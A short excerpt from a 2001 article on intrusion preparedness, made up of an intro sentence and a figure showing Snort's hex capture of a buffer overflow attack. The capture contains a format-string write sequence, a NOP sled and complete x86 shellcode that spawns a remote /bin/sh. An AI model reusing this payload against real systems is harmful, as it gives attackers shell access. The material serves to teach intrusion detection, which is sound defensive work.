Being Prepared for Intrusion
By Dan Farmer and Wietse Venema
, April 01, 2001
As every good programmer knows, software will eventually fail—no matter how well it is written. The same applies to systems, networks, and security mechanisms; and a system that is prepared for failure has safety nets in various places.
Apr01: Being Prepared for Intrusion
3C 5D 08 CD 00 00 00 00 00 00 00 02 00 01 86 B8 <]..............
00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 20 ...............
3A 4B AF 81 00 00 00 09 6C 6F 63 61 6C 68 6F 73 :K......localhos
74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 t...............
00 00 00 00 00 00 00 00 00 00 03 E7 18 F7 FF BF ................
18 F7 FF BF 1A F7 FF BF 1A F7 FF BF 25 38 78 25 ............%8x%
38 78 25 38 78 25 38 78 25 38 78 25 38 78 25 38 8x%8x%8x%8x%8x%8
78 25 38 78 25 38 78 25 36 32 37 31 36 78 25 68 x%8x%8x%62716x%h
6E 25 35 31 38 35 39 78 25 68 6E 90 90 90 90 90 n%51859x%hn.....
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
[48 more lines of Intel *86 NOP instructions - 0x90 in hexadecimal.]
90 90 90 90 90 90 90 90 90 90 90 90 90 90 31 C0 ..............1.
EB 7C 59 89 41 10 89 41 08 FE C0 89 41 04 89 C3 .|Y.A..A....A...
FE C0 89 01 B0 66 CD 80 B3 02 89 59 0C C6 41 0E .....f.....Y..A.
99 C6 41 08 10 89 49 04 80 41 04 0C 88 01 B0 66 ..A...I..A.....f
CD 80 B3 04 B0 66 CD 80 B3 05 30 C0 88 41 04 B0 .....f....0..A..
66 CD 80 89 CE 88 C3 31 C9 B0 3F CD 80 FE C1 B0 f......1..?.....
3F CD 80 FE C1 B0 3F CD 80 C7 06 2F 62 69 6E C7 ?.....?..../bin.
46 04 2F 73 68 41 30 C0 88 46 07 89 76 0C 8D 56 F./shA0..F..v..V
10 8D 4E 0C 89 F3 B0 0B CD 80 B0 01 CD 80 E8 7F ..N.............
FF FF FF 00 ....
Figure 5: Snort results from the buffer overflow attack.
